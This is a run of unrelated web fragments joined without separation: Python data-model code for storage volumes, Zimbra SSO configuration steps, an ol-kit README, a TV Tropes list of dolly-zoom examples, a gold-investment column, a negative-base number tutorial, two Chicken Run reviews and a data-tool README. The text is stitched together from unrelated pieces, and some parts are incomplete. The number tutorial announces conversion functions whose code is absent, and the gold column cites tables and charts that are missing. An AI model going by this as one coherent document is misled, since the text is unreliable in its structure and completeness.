"volumeAccessGroups", int,
array=True, optional=False,
documentation="\
List of volume access groups to which a volume belongs.\
"
)
volume_pairs = data_model.property(
"volumePairs", VolumePair,
array=True, optional=False,
documentation="\
Information about a paired volume.\
Available only if a volume is paired.\
@see *volume_pairs* for return values.\
"
)
delete_time = data_model.property(
"deleteTime", str,
array=False, optional=True,
documentation="\
The time this volume was deleted.\
If this has no value, the volume has not yet been deleted.\
"
)
purge_time = data_model.property(
"purgeTime", str,
array=False, optional=True,
documentation="\
The time this volume will be purged from the system.\
If this has no value, the volume has not yet been deleted (and is not\
scheduled for purging).\
"
)
slice_count = data_model.property(
"sliceCount", int,
array=False, optional=False,
documentation="\
The number of slices backing this volume.\
In the current software, this value will always be 1.\
"
)
total_size = data_model.property(
"totalSize", int,
array=False, optional=False,
documentation="\
Total size of this volume in bytes.\
"
)
block_size = data_model.property(
"blockSize", int,
array=False, optional=False,
documentation="\
Size of the blocks on the volume.\
"
)
virtual_volume_id = data_model.property(
"virtualVolumeID", UUID,
array=False, optional=False,
documentation="\
Virtual volume ID this volume backs.\
"
)
attributes = data_model.property(
"attributes", dict,
array=False, optional=False,
documentation="\
List of Name/Value pairs in JSON object format.\
"
)
def __init__(self, **kwargs):
data_model.DataObject.__init__(self, **kwargs)


Local bands playing the music you love
The hottest acts playing soon near you
Looking for a new local?


When ZCS is configured for single sign-on authentication to the Zmail Web Client, the server is configured to redirect users to a URL for single sign in. You can configure the web client sign in and sign out URL and the UAs allowed for the sign in URL.
Procedure
Go to Configure > Global Settings, Authentication page.
In the Web client login redirect URL text box, type the URL to redirect users to when the auth token is expired. Enter as https//example.com.
In the Web client logout redirect URL text box, type the URL to redirect users to when they click Sign out. Enter as https//example.com.
In the Allowed user agent when login text box, type the supported platforms and browsers that are allowed. If you do not set this, all user agents (UA) are allowed. Click Add to add more than one type.
In the Allowed user agent when logout text box, type the sign out URL and UAs allowed to redirect users to when they sign out. Click Add to add more than one type.
In Allowed IP when login text box, type the IP addresses that are allowed as the sign in URL. Click Add to add more than one type.
In Allowed IP when logout text box, type the IP addresses that are allowed as the sign out URL. Click Add to add more than one type.
Click Save.
Example of how to enter text to describe the user agent if you wanted to limit access to only Firefox, Internet Explorer, Chrome, and Safari on computers running Windows, and Safari on Apple Mac Computers. Enter each in a separate text box.
.*Windows.*Firefox/3
.*MSIE.*Windows.*
.*Windows.*Chrome.*
.*Windows.*Safari.*
.*Macintosh.*Safari.*


{% include site-nav.html %} Oops! You seem to have discovered a hole in my site. Sorry about that. Try starting at the home page, or email me if you are looking for something specific.
Sorry about that. Try starting at the home page, or email me if you are looking for something specific.


Shared coding conventions allow teams to collaborate efficiently. This rule checks that all constant names match a provided regular expression.
With the default regular expression ^[A-Z][A-Z0-9]*(_[A-Z0-9]+)*$
:
public class MyClass { public static final int first = 1; }
public class MyClass { public static final int FIRST = 1; }


emoji_objects
Restricted Update Mode.
Full DAR update functionality only available when this DAR has a status
of DESIGN. To update, change the status back to DESIGN. Note: The
"Status" and the "Chosen Solution" properties can be updated in the
restricted update mode.
description DAR
people Participants
check_circle Criteria
list_alt Solutions


ol-kit
Easy to use, open source React/OpenLayers component toolkit.
Getting Started
It's easy to start building map apps with ol-kit. For simple projects the following will get you started:
import { Component } from 'react'
import { Map, Popup, Controls } from 'ol-kit/components'
import { zoomToExtent } from 'ol-kit/utils'
import VectorLayer from 'ol/layer/Vector'
import VectorSource from 'ol/source/Vector'
class App extends Component {
onMapInit = map => {
const data = new VectorLayer({
source: new VectorSource({
features: [/** Get some data and have fun with it */]
})
})
// add the data to the map
map.addLayer(data)
// quickly take the map
zoomToExtent([0, 0], 12)
}
render () {
return (
<Map onMapInit={this.onMapInit}>
<Popup />
<Controls />
</Map>
)
}
}


{{ homeAway }} of the {{ inning }}
OFF Mound
{{ ballerz[ballerTurn % ballerz.length].name }}
Ante Up
ON Mound
Current Points Wagered:
{{ points|currency:$ }}
Name:
Total:
{{ baller.name }}
{{ baller.total|currency:$ }}
History:
{{ inning.inningHalf }} of the {{ inning.inningNumber }}, ball came to rest
{{ inning.ballResult }}
the Mound.
Reset


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Start a project
Discuss your project with one of our Engagement Managers
to get a first quote within 72 hours.
Discuss your project with one of our Engagement Managers
to get a first quote within 72 hours.


Canvas demo
We recommended using this Canvas renderer as it copes well with large scenes.
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--- layout: post status: publish published: true title: 'Podcast 3.13 - From Spring Training 3/25/2011 ' author: display_name: Corey Fineran login: Corey email<EMAIL_ADDRESS>url: '' author_login: Corey author_email<EMAIL_ADDRESS>wordpress_id: 4571 wordpress_url: http://ivyenvy.com/?p=4571 date: '2011-03-25 09:45:35 +0000' date_gmt: '2011-03-25 14:45:35 +0000' categories: - Podcast - Spring Training tags: - Podcast - Spring Training - Spring Training 2011 comments: [] ---
We sit down before we load up the car to do an overview of the last week. We also tell you about the events that we have coming up. Thank you for following us during our Spring Training coverage. We have had an absolute blast bringing it to you and hopefully this Spring Training coverage is something we can provide for you next year and beyond.


The camera lens zooms in on the subject, while the camera itself is physically moved away from it, or vice versa. This effectively changes the focal length of the lens without altering the image composition. This causes the image's depth information to either compress or stretch, making the image look like it's getting deeper or flatter. To put it another way, while the subject stays about the relative same size in the frame, objects in the foreground and background will appear to change in size and distance relative to each other (the foreground may get larger or stay the same size while the background shrinks, or the foreground may shrink while the background gets larger or stays the same size).
Goes by many names, including optical compression, tracking zoom, dolly zoom, Hitchcock zoom, contra-zoom, trombone shot, smash zoom and push-pull zoom.
Often used to tell the viewers that the character in the focus of the camera has just had an emotional shock, although it may not actually be shown on his/her face. Sometimes goes hand in hand with Oh, Crap!.
First used by Alfred Hitchcock in the movie Vertigo as an Impairment Shot to show the audience what the protagonist is experiencing every time his fear of heights kicks in. The opening scene can be seen here displaying the effect about 55 seconds in.
Compare Whooshing Credits.
Examples:
- Ghost in the Shell used this technique digitally in 1995, when it was hailed as a major advance in 3D animation.
- In Digimon Adventure, this happens in episode 5, when Izzy deciphers on his laptop the code written in the walls of the factory's battery.
- Used in the Mushishi episode "The Sleeping Mountain" when Ginko wakes up feeling that something is wrong.
- Used liberally in The Promised Neverland, among other Hitchcock conventions, to underscore almost every unsettling reveal. Considering how many shocks the series lays on its protagonists on a regular basis, it's no surprise
- The Lion King, when Simba sees the wildebeest stampede charging right at him.
- In Tangled there is a dolly zoom on Mother Gothel after Eugene cuts Rapunzel's magic hair with a mirror fragment, which leads to Gothel's death.
- A Goofy Movie, when Max learns his father is taking him on vacation.
- There are quite a few simulated trombone shots in the computer-generated Pixar movies, notably in The Incredibles.
- Subtly used in How to Train Your Dragon, when Hiccup and Astrid see the Red Death for the first time.
- Used in Kung Fu Panda 2 when Po and the Five see Master Thundering Rhino's hammer in the spot where he was killed.
- Ratatouille:
- A subtle version occurs when Remy watches an inspiring speech from Gusteau on a TV.
- It happens again to start and finish Anton Ego's childhood Flash Back.
- Madagascar 3: Europe's Most Wanted:
- Used when Stefano is hanging from a cliff.
- Another subtle version occurs when Chantel DuBois finds out that the animals rode away with the circus-train.
- Used by Peter Jackson in both The Lord of the Rings: The Fellowship of the Ring (when Frodo senses the arrival of the Black Rider in the Shire) and The Return of the King (Frodo's first look into Shelob's lair).
- Jaws, when Chief Brody (Roy Scheider) reacts on the beach to the Kintner boy being attacked by the shark.
- This trope is often called "The Jaws Shot" by people who haven't seen Vertigo.
- The opening shot of Jean-Pierre Melville's Le Samouraï is a Vertigo Effect shot of a man lying down on his bed, smoking. Unlike most examples, however, the shot is jerky and uneven, representing the man's loneliness and mental instability.
- Josie and the Pussycats (the movie), when Josie realises she's been brainwashed.
- Used on a mailbox in How I Got Into College: it is the only memorable shot in one of the world's most forgettable films.
- Brick, when Tug punches Brendan.
- In Goodfellas this happens during a scene in which Ray Liotta and Robert de Niro are speaking in a diner. The shot happens so slowly that you don't consciously notice it, to show how paranoid the characters are getting at this point in the movie.
- There's a remarkable one in Road to Perdition, where Jude Law's character first appears walking toward the camera underneath an L track. It takes about thirty-plus seconds of screen time, whereas the typical Vertigo shot is much more fast-moving.
- A notable version of this happens in the movie Poltergeist during the ghost's assault on the family at the end of the film. The mother gets thrown out of the house at one point and then battles her way back in to save her children. As she's running down the hallway to the children's bedroom, a Vertigo Effect begins which soon turns into a full-blown special effect in which the hallway itself starts becoming stretched and distorted. The more the mother runs, the longer the hallway becomes and the further away she gets from her children's bedroom door. She eventually catches up to it by running at full speed.
- Used in Wes Craven's New Nightmare when Heather goes answer the door, and sees two cops there.
- A huge, hilarious version is used to comic effect in The Mask, to show how Stanley and Charlie have their eyes glued on Tina.
- Ghostbusters (1984) uses this for its 'weird feeling' effect in a shot of a doorway to the collapsed roof of the 55 Central Park West tower. The commentary track between the director, main actor, and director of photography addresses that they considered themselves to be pioneering the technique — Harold Ramis jokingly suggesting "Scorsese ripped you off!"
- There's one on Ralph Fiennes inside the "soundproof" booth in Quiz Show, at a particularly anxious moment.
- Used in The Return of the Living Dead, when Tina first sees the "tar man" zombie.
- Used to the point of self-parody in The Quick and the Dead. A textbook-worthy example happens while Herod and The Kid (Father and Son) square off.
- The French spy satire OSS 117: Lost in Rio steals not just the effect, but the entire staircase scene from Vertigo.
- In Apollo 13, Jim Lovell announces "Houston, we are venting something out into space"; we cut to Gene Krantz back in Mission Control, and use this effect to show just how dreadful this news is.
- In Back to the Future Part II when Marty watches footage of his mother marrying Biff in 1985-A.
- Used in the film Merlin's Shop of Mystical Wonders when Michael sees the evil monkey has returned to his house.
Tom: My cabinets are flying away!
- As well as Vertigo, Hitchcock used the effect very strikingly in Marnie to give the effect of a room shrinking and becoming claustrophobic.
- Used in the Bollywood movie Rangeela ("Bollywood Dreams") — possibly as a nod to Spielberg, whom the in-movie director character admires.
- Used in Paul just before O'Reilly fires his gun in the farmhouse.
- Communion uses this effect to intensify the state of hypnotization and confusion in the main character.
- Used prolifically in the Evil Dead remake.
- Used in Shaun of the Dead when the zombies break through the barricade.
- Used in Hugo during the first dream sequence.
- In Braindead, this is used in the shot of Lionel's face when he sees the hyperactive zombies pop out of the ground.
- What About Bob?: One of these shots is used on Leo's face when Bob tells him he left the explosives in the house.
- La Haine uses a dolly zoom effect half-way in. Watch it here.
- In one total shot from The Stoning of Soraya M., where two men finish digging the hole for the stoning, the Vertigo Effect is being used.
- In one of the courtroom scenes in i am sam, after the lawyer poses his Armor-Piercing Question to Annie, we see him go through this camera effect from the Annie's POV.
- Used to convey a rather different effect than most examples, in Star Trek (2009) and Into Darkness. As the Enterprise powers up its warp drive, a Vertigo Effect is seen from outside the ship, with the camera close enough that the Enterprise is in both the foreground and the background. This gives the impression that the ship is stretching as it accelerates past light speed.
- Used subtly in The 'Burbs, where a neighborhood of incompetent snoops in a crapsaccharine version of 1980's privileged suburbia are paranoid about their neighbors. Early shots of the Klopek house use this effect to get the viewer to immediately realize Tom Hanks' character Ray thinks something is just wrong about the place.
- Used in the dream sequences in Truffautt's Fahrenheit 451 to give the effect of running down a long corridor without ever getting nearer to the far end.

- The Babylon 5 episode "Severed Dreams" features such a shot at a dramatic moment when a major character comes to a major realization: Sheridan discovers that the Earth Alliance is coming to seize control of the station.
- FTL jumps in Battlestar Galactica (2003).
- Used in an episode of Casualty many years ago when Brenda Fricker's character realises that she has told a girl's parents that she has survived an explosion when, in fact, there has been a mixup and she is actually dead.
- There's a rare documentary example in David Attenborough's First Life. A piece to camera by Attenborough finishes by changing from a telephoto shot to wide angle simultaneous with the camera helicopter flying forward and ascending, causing the coastline on which Attenborough is standing to expand dramatically.
- Doctor Who:
- "The Unicorn and the Wasp": Lady Eddison gets a zoom-in on her in this fashion when she realizes that the reverend is the illegitimate child she gave up for adoption decades ago.
- "The Eleventh Hour" has a scene shot from the Doctor's point of view, as he scans the Leadworth village green for inconsistencies. Eventually, he hones in on a disguised Prisoner Zero, whose background and shadow stretches out behind him in classic Vertigo style. Particularly odd example, as it's not shot conventionally rather, it's a series of snapshots strung together.
- How I Met Your Mother:
- Used in the season 1 episode "Betty Full of Turkey", when Lily finds out the typical size of an Eriksen newborn.
- Used in the season 2 episode "Something Blue", when Barney thinks that Ted got Robin pregnant.
- Used very effectively in Journeyman at a climactic point in the story arc. Dan has tried to convince his brother, Jack, that Dan and his supposedly dead ex-fiancée Livia have been moving through time. Jack doesn't believe him—until, across a room, he catches a glimpse of Livia, who's come to him in desperation because Dan is in great danger. Cue contra-zoom on Jack as he realizes all the implications of seeing Livia alive.
- In an episode of Malcolm in the Middle Lois inadvertently infects Malcolm with mononucleosis. As Malcolm is heading to the couch to lay down, Hal shoos him away saying he has to be quarantined from the healthy family members. Cue Malcolm looking down the hall towards Lois in her bed with the vertigo shot. It's definitely an Oh, Crap! moment for poor Malcolm.
- Mr. Bean in Room 426 has one of these, when the title character realizes he's just consumed a bunch of rotten oysters.
- Used in episode 7 of MythQuest during a Big "NO!".
- Psych in their Hitchcock homage.
- Used in a Star Trek: The Next Generation episode. Aliens are affecting the crews' sleep, preventing them from getting real rest. At one point Captain Picard sees the turbolift ceiling experience the Vertigo Effect, showing how his perceptions are being affected.
- Used a lot in Top Gear with head-on shots of speeding cars.
- Veronica Mars features one at the end of season 2, when Veronica figures out exactly what's going on.
- To excellent effect in White Collar, to display Mozzie's extreme emotional distress on entering the federal building for the first time.
- It is used in The Witcher (2019) before Ciri enters Brokilon Forest.
- Michael Jackson's moment of transformation in the Thriller video.
- A few instances show up in Kalafina's Magia video, along with Forced Perspective and Rack Focus (although the direction is so generally odd that everything might just be due to the director fiddling around).
- A few instances in Serenity's The Chevalier video, with some shots on the lead singer Georg and also on the special guest, Aylin (lead singer of Sirenia)
- Used in "Weird Al" Yankovic's "Foil" video while ranting about Illuminati conspiracies.
- The video for Faith No More's Last Cup Of Sorrow , being an homage to Alfred Hitchcock's Vertigo, uses it more than once.
- In the first verse of Ninja Sex Party 's video for ''I Don't Know What We're Talking About, when Danny Sexbang suddenly realizes that he hasn't been paying attention anything his date has been saying.
- This effect is used to zoom in on Roman's horrified face when he and Niko get kidnapped in Grand Theft Auto IV.
- Legacy of Kain: Soul Reaver 2 uses this effect to simulate a feeling of temporal displacement in scenes where time paradoxes can and will occur, going back and forth faster and faster as the paradox comes closer to happening, such as whenever the Soul Reaver's past and present versions of one another meet.
- Instead of zooming in or out, The Legend of Zelda: Twilight Princess uses this for its camera controls.
- The Legend of Zelda: Ocarina of Time and The Legend of Zelda: Majora's Mask have low-key examples in some of their cutscenes.
- Rock Band likes these. Really, really likes them.
- Done in a cutscene in the original Tomb Raider. Tomb Raider: Anniversary also uses this effect whenever Lara looks down while hanging from a ledge.
- Used interestingly in a cutscene from a fan-made level: the camera enters a large room, then uses the Vertigo Effect before it begins to pan around, giving the impression that the room has doubled in size.
- Used in the intro cinematic to Half-Life 2, when you first enter the train.
- Used in one of the early hallways in Amnesia: The Dark Descent.
- Used in Mass Effect when sprinting. Even if you're out of combat, i.e. you cannot sprint, holding the sprint button will cause this effect without actually making you go faster.
- It also accompanies the Bullet Time effect (except when zoomed into a scope, for obvious reasons). In Mass Effect 2, this was mostly power-driven, but it occurs at several plot-mandated moments of Mass Effect 3, such as the final round of the Boss Battle on Rannoch, where the Reaper leeeeeans in and stares Shepard down, and it turns into a quickdraw contest between Shep's markerlight and the Reaper's Energy Weapon.
- Used frequently in Sam & Max: The Devil's Playhouse, as a bit of visual jargon representing the use of psychic powers.
- Halo 3 does this whenever a Gravemind Moment occurs.
- When you're infiltrating The Master's secret lair in the 2003 Hulk video game, the first tunnel you enter uses this zoom effect while you're walking through it.
- One entry for the Internet Raytracing Competition uses this effect to show off how MC Escher's famous "Waterfall" print works.
- Red vs. Blue was able to do this after switching to Halo 3, using the camera in theater mode. Previous games had a zoom feature, but it always switched to a scope of some kind. The camera in Halo 3's Theater mode zooms seamlessly (although very quickly, making it a bit hard to control). One of the first times it was used was in Part II of "Relocation", when Caboose sneaks up on Simmons.
- The B-Movie Comic does it here, animated for the occasion.
- Pinefest, a.k.a. You are Now Entering Ashburg (some scenes NSFWish due to sketchily-drawn violence and gore) uses it in in the bottom panel of this strip, as one of many animated gif effects used throughout the comic..
- In Echo Chamber, this combines with Oh, Crap! and Say My Name after Tom runs into his Psycho Ex-Girlfriend. Or it would, if that weren't an outtake.
- Spoofed in the Shut Up & Sit Down review of Too Many Bones where Quinns gets a dolly zoom that looks like genuinely impressive video editing for a low-budget tabletop game review show... until it's revealed that this "dolly zoom" is just another person pushing and pulling his chair towards the camera.
- The Vertigo shot (and quite a bit of Hitchcock's oeuvre) is parodied on Sylvester And Tweety Mysteries with Sylvester in the place of the main character, and since it's Looney Tunes, the shot is exaggerated to the point of hilarity.
- Batman: The Animated Series:
- In one of many Hitchcock-inspired scenes, Batman gets hit with the Vertigo Effect while under the influence of Scarecrow's nerve toxin.
- There's a episode that's actually called "Vertigo" that focuses on a gadget of some kind that can temporarily induce this effect in people's vision.
- The Simpsons:
- In the segment "Hungry are the Damned" from the first "Treehouse of Horror", this kind of shot is used when Lisa first sees the flying saucer.
- Also used in "Home Sweet Homediddly-Dum-Doodily" when the social worker announces to Bart, Lisa, and Maggie that they're being taken to "a FOSTER HOOOOOOME!"
- And on "Principal Charming", when Skinner climbs a bell tower, a shot directly lifted from Vertigo.
- And in "Lisa's Substitute" when Lisa sees that Miss Hoover is back and Mr. Bergstrom is no longer teaching.
- In the "Treehouse of Horror IX" segment "Hell Toupée", when the Snake-possessed Homer confronts Apu and says "I know you are, but what am I?" before killing him.
- My Little Pony: Friendship Is Magic:
- In the episode "Castle Mane-ia", Applejack and Rainbow Dash explore the old Castle of the Two Sisters. This shot is done on both of them when they think they see a ghost in one of the tapestries.
- In the episode "Equestria Games", Spike first sees how big the crowd is at the stadium and the camera pushes in on him panicking.
- In "Yakity-Sax", when Twilight drops the bombshell to Pinkie that they think she's not good at the yovidaphone and should give it up, there is a zoom on Pinkie Pie while the background is getting farther away.
- South Park:
- This shot is done in the episode "Pinkeye" on Kyle when he discovers Chef has turned into a zombie.
- Also used in "1%" when Cartman sees his doll Clyde Frog nailed to a tree.
- Occurs in the Gravity Falls episode "Not What He Seems" when Mabel sees an old news article about Grunkle Stan's faked death.
- Mr. Hublot: Done with Mr. Hublot when he sees that his gigantic dog got a little too excited and completely trashed his living room.
- American Dad!: This happens in "The One That Got Away", when Roger discovers that Sidney Huffman is actually one of his personas that has taken on a life of its own.
- SpongeBob SquarePants: Used in "Boating School" when SpongeBob is about to take his driving test, and the track appears to get longer to show how nervous he is.


You’re Probably Underinvested in Gold
by Frank HolmesIn a September report, the World Gold Council (WGC) pointed out that some investors are underexposed to gold. The gist of the study is that investors may assume they have adequate exposure to gold because they’re invested in a fund that tracks a broad-based commodity index. The problem with this assumption is that most major commodity indices have a relatively small weighting in gold, and so their gold exposure is much smaller than they realized.
Take a look at the tables above. The S&P GSCI, which tracks 24 commodities, has only a 3.37 percent weighting in gold. The Bloomberg Commodity Index is slightly better, with a weighting of 12 percent. These percentages shrink even more when you consider that commodities in general represent a small portion of most investors’ portfolios.
“If you are buy-and-hold investor, if you are trying to create long-term strategies, the evidence overwhelmingly shows that gold is a more effective strategic asset than commodities alone,” explains the WGC’s director of investment research, Juan Carlos Artigas, who I had the opportunity to chat with recently.
To illustrate Juan Carlos’ point, look at the following chart. In the 20-year, 10-year and five-year periods through June 2019, gold outperformed all other commodities, including energy, industrial metals and precious metals. Despite this, gold may still be under-represented in some investors’ portfolios.
“The optimal weight for gold, or the amount of gold that can help investors get better risk-adjusted returns, is between 2 percent and 10 percent,” Juan Carlos says.
This is mostly in line with my own recommendation of a 10 percent weighting in gold, with 5 percent in bullion, the other 5 percent in high-quality gold mining stocks.
Gold-Backed ETFs at All-Time Highs
At the same time that gold is largely under-represented in many investors’ portfolios, those “in the know” have been buying at a healthy clip. In fact, since the start of the most recent gold price rally, holdings in gold-backed ETFs have climbed to an all-time high. Holdings as of September stood at more than 2,855 tonnes, surpassing the previous high of 2,839 tonnes in November 2012.
With bond yields at historic lows at the moment, “gold may become an attractive and more effective diversifier than bonds, justifying a higher portfolio allocation than historical performance suggests,” the WGC writes in its latest report, “It may be time to replace bonds with gold.”
For full disclosures pertaining to this post click here.


The most common numerical system is the decimal system. This just means that we use base 10 when defining numbers. Other commonly known/used numerical systems include binary (base 2) and hexadecimal (base 16). Every numerical system can be read once you understand how they are defined. Each digit, in any numerical system, represents a quantity of a certain magnitude. Lets explore this with a simple example: if we have a decimal number 23, this means that there are 2 units of magnitude 10^1 and 3 units of magnitude 10^0. So 1101 in binary is 1 unit of 2^0, 0 units of 2^1, 1 unit of 2^2 and 1 unit of 2^3; which simply translates to 13.
So far we have explored how to represent numbers in different numerical systems however we have only shown examples with positive numbers. What about negative numbers? Well in most cases we use a signal of some kind to signify negation. In decimal we use a ‘−’ sign to mean negative. In binary it is common practice for the most significant is 1 if its negative and 0 otherwise.
Now let us discuss negative bases, this refers to bases that are < 0
. This seems like an unusual topic but it helps us perform some interesting magic. From now on I will mainly discuss base negative two as an example but the topics covered can be abstracted over all negative bases.
Reading a number is the same process so 1101 in base negative is (1 * −2^0) + (0 * −2^1) + (1 * −2^2) + (1 * −2^3) = −3
. Similarly 101 in bnt is 5. Notice how we cannot represent both positive and negative numbers in in this numerical system without the need of a signal. This is the power of negative bases.
I am going to be representing bnt numbers in an array where the index represents the significance of the digit, as in array[0]
is the least significant digit and array[array.length-1]
is the most significant digit; Let’s define a few utility functions that we can use in the future. The obvious one is converting bnt numbers into decimal:
Converting from decimal to bnt is a slightly different different problem but still simple:
In the next part I will discuss bnt arithmetic such as negation, addition, subtraction and much more.


CHICKEN RUN -----------
"No chicken escapes from Tweedy's farm!" is the challenge taken on by one plucky chicken named Ginger (Julia Sawalha). Ginger wants a better world for herself and her friends, the other inmates at the Tweedy's Egg Farm, so she attempts one breakout after another, only to end up in solitary every time. But, the clock is running out for Ginger and her fowl friends as the evil Mrs. Tweedy (Miranda Richardson) finds a new way to feather her nest - instead of gathering their eggs, she plans to turn her chickens into pies! With the help of a new arrival, Rocky Rhodes (Mel Gibson), the self-acclaimed Lone Free Ranger, Ginger hatches a spectacular and daring escape plan, a plan that will free them all in "Chicken Run."
ROBIN:
The makers of "Chicken Run," co-directors and co-producers Nick Park and Peter Lord, have elevated the art of claymation to a pinnacle with such works as the Oscar nominated animated short, "Wat's Pig" and Oscar winners, "Creature Comforts," "The Wrong Trousers" and "A Close Shave." The latter two established the characters, Wallace and Gromit, as figures of international popularity. So, the anticipation among the fans of Aardman Entertainment for their first feature has been long and expectant. And the word?
No worries, mate!
"Chicken Run" is a parody of and homage to all the great POW and prison break movies we have seen over the decades. Most prominent is the best of them all, the 1963 John Sturges classic "The Great Escape," which the Park/Lord film so lovingly recreates. At the very opening, Ginger is in the midst of breaking out of her prison, only to be thwarted by the "goons," Mr. Tweedy and his vicious guard dogs. The following montage shows the indefatigable Ginger trying again and again, only to fail and end up in the hole. Her spirit never flags, though, so, when Rocky, quite literally, flies into her life, hope for escape to the fabled Paradise Farm is rejuvenated.
I don't want to get into the meat of the story of "Chicken Run." That is best left for the filmmakers to do when you see it yourself, which I hope everyone does. Suffice it to say that this is the most fun I have had at the movies since "Toy Story 2." Park/Lord have made an indelible mark in the annals of feature animation that rivals The Giant - Disney. The painstaking nature of the claymation technique requires years to produce a full-length film and the folks at Aardman took the time to learn their lessons. Their entry into the big time is nothing less than spectacular.
Don't get me wrong. "Chicken Run" is not a perfect film. At about the 25-minute mark, the story started to wind down and I thought I would see a good, not great, animation. Things quickly take a turn for the better as the tale of escape cranks up, Ginger makes her plans and Rocky provides the beefcake for the ladies at Tweedy's farm. The story, basically, follows the same plot as "The Great Escape," but with the chickens facing a more onerous fate than just being prisoners. The imperative of escape reaches serious proportions as their true fate - to become the primary ingredient of Mrs. Tweedy's Homemade Chicken Pies - is realized. High drama, comedy and action prevail 'til the end.
Besides "The Great Escape" (the direct references to which had me in stitches) there are allusions to such other terrific POW films as "Stalag 17." The amazing thing about "Chicken Run" is that it takes such subjects as genocide (or, is that chicken-ocide?) and imprisonment and puts a humorous spin on it without being silly. Don't get me wrong, there is enough silliness and dumb, funny humor to appeal to the kids (and "Hogan's Heroes" fans) in the audience. There is also a plethora of intelligence and wit, coupled with some very dark humor, to keep the adult population attentive and entertained.
The vocal characterizations, with their onscreen images, are first rate. While Mel Gibson is the name name, the rest of the cast, led by Sawalha (daughter Sapphire of "Absolutely Fabulous) as Ginger, are equal to their characters. Except for Miranda Richardson as the voice of Mrs. Tweedy, you won't recognize many of the British cast members. Jane Horrocks ("Little Voice," and Bubble in "Ab Fab") gives voice to the simple, but lovable, Babs, who is forever knitting. Stage actress Lynn Ferguson provides an enjoyable Scottish burr to Mac, a super-intelligent hen who is the engineering brains of the escape team.
The production, especially to those who are familiar with the painstaking nature of claymation, is a wonder to behold. Within minutes of the start of the film, the viewer is completely taken over by the world created by the Aardman folks. The attention to details, such as every chicken being a unique character with her own look and personality, is astounding. The current hype, today, for computer generated imagery (CGI) is put to shame by the shear craftsmanship of this stellar example of such a traditional technique. Stop motion animation has been around since the early days of movies and "Chicken Run" is at the pinnacle of its art.
"Chicken Run" should be seen by the whole family. Actually, it should be seen by everyone. It has intelligence, humor, drama and tragedy, dance numbers, amour and more, any of which will have appeal to someone out there. The sinister aspects of the story may be a bit too dark for younger, sensitive kids, but the overall lightness of "Chicken Run's" being should help get them by.
I don't say this often enough: I give "Chicken Run" an unbridled A.
LAURA:
Fans of triple-Oscar winner Nick Parks' delightful "Wallace and Grommit" shorts are rewarded with his (and co-director/producer Peter Lord) long-awaited claymation feature film debut "Chicken Run."
 Ginger dreams of a life of freedom, beyond the grassy hills she can she from the roof of her hut, but although she's capable of escaping herself, her vision includes all her friends at the farm, who she refuses to abandon.
When one hen fails to produce eggs, she's removed to the chopping block (reminiscent of Babe's almost-fate) by the unrelentingly mean Mrs. Tweedy (Miranda Richardson, "Sleepy Hollow"). To make matters worse, a chicken products van arrives delivering a mysterious contraption that's hidden in the barn. Only Mr. Tweedy's problems getting it to work are buying Ginger time to plot their escape.
A savior arrives in the form of an arrogant Yank rooster, Rocky (Mel Gibson), who arrives catapulted over the fence yelling 'Freedom!' at the top of his lungs (the film's punched up with many movie in-jokes referencing the likes of "Braveheart," "Stalag 17" and, most notably, "The Great Escape"). Ginger enlists his help to teach her girls how to fly.
The screenplay by Karey Kirkpatrick ("James and the Giant Peach") tells a traditionally simple tale. The pleasures of "Chicken Run" are to be found in its marvelous details (a V of geese pass overhead as Ginger watches the sun set from behind a fence, two huckster rats pass off a tub stopper on a chain as a necklace for sale), terrific characterizations and vocal performances, a darkness reflected in the look of the film and the painstaking process of the claymation itself.
Hundreds of distinctly different chickens were created for this film, several of whom lend terrific support to Ginger and Rocky. Janes Horrocks ("Little Voice" and another "Absolutely Fabulous" vet) is Babs, a sweetly dim bird with a serious knitting habit. Lynn Ferguson (a Scottish stage actress and standup comedienne) is Mac, the bespeckled engineering genius who provides a marvelous foil for Rocky's "Braveheart" moments. Benjamin Whitrow ("A Man for All Seasons") is Fowler, the elderly RAF vet and house rooster who resents Rocky's arrival and vents the British spleen at the Americans late arrival into WWII.
Outside of the chickens, there are only two humans - the Tweedys. Mrs. Tweedy is a dried up crone who resents her husband's inability to provide something better than their bleak farm. Mr. Tweedy is henpencked indeed and accused of losing his mind when he suggests their chickens are plotting. Two rats, Nick (Timothy Spall, "Love's Labour's Lost") and Fetcher (Phil Daniels, "Bad Behavior") provide comic relief and suggest the "King Rat" aspect of the farm with their black market trading.
While "Chicken Run" is a delightful achievement, it doesn't quite attain the constant brilliance of the "Wallace and Grommit" shorts. Ironically, there's no "Feathers McGraw" moment - the startling hilarity of a penguin passing himself off as a chicken with a rubber glove on his head in "The Wrong Trousers." Still, kudos to the huge group of filmmakers whose patience with the stop-motion technique has brought this charmer for young and old alike to the screen.
B+
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Vocabulometer aims at helping English learners by offering a platform for vocabulary learning and training, using an eye-tracker device. Vocabulometer works with the Tobii EyeX and the Tobii 4C.
This project has been developed by a student from the Intelligent Media Processing laboratory, in the Osaka Prefecture University. This website has been created for research purpose, as part of exploring how to use new technology devices such as eye-trackers to enhance people's lives.
Eye gaze analysis algorithms and some texts are taken from a prototype built by University of Bordeaux students.


--- title: Data Registration tool keywords: fastai sidebar: home_sidebar summary: "This is a small tool that can be used to register data received from business users who have requested analyses. The purpose behind this project is to create a light-weight system that allows analysts to quickly and flexibly document the origin of small (less than 50GB) data sets. " description: "This is a small tool that can be used to register data received from business users who have requested analyses. The purpose behind this project is to create a light-weight system that allows analysts to quickly and flexibly document the origin of small (less than 50GB) data sets. " nb_path: "index.ipynb" ---
git clone https://github.com/JorickvdHoeven/data-registration-tool.git
pip install data-registration-tool
The application is a CLI which can be used directly from the command line once installed.
!drt --help
The structure of the data registration process is based on the following three concepts:
Essentially it's a take on the traditional ETL process which adds in an extra step call Receive
. The reason for the additional step is that while in pure IT environments receipt of data is generally a contract managed between two systems and is rolled into the E: Extract
part of the ETL process. In Data Analytics receipt of data is only sometimes between systems. Often it is between people. We therefore need to create a log of the data receipt somewhere and only after the data is logged can we proceed to extract information from the folder dump or excel extravaganzza we've been delivered. To account for this and to account for the fact that we're working in a team environment we set the process in the following way:
Load
Receive
== 01_DeliveryExtract
== 02_RAWTransform
== 03_DatasetsYou'll notice in the process above that the folder structure only accounts for steps 1-3 and doesn't account for step 0. This is normal, step 0 is just putting data into the registration system. We're trying to make it super easy by just using a file system for that.
In the sections below we'll go over what each of steps 1-3 are about and what the requirements are for the Data Analyst.
tldr;
Everything you get goes in Delivery
, if it's got valuable data extract it to Raw
, if you want to use extracted data transform it to a Dataset
from several raw data elements and/or Datasets. Filtering happens during the Dataset creation (Raw
-> Dataset
), data conversion happens during extraction (Delivery
-> Raw
).
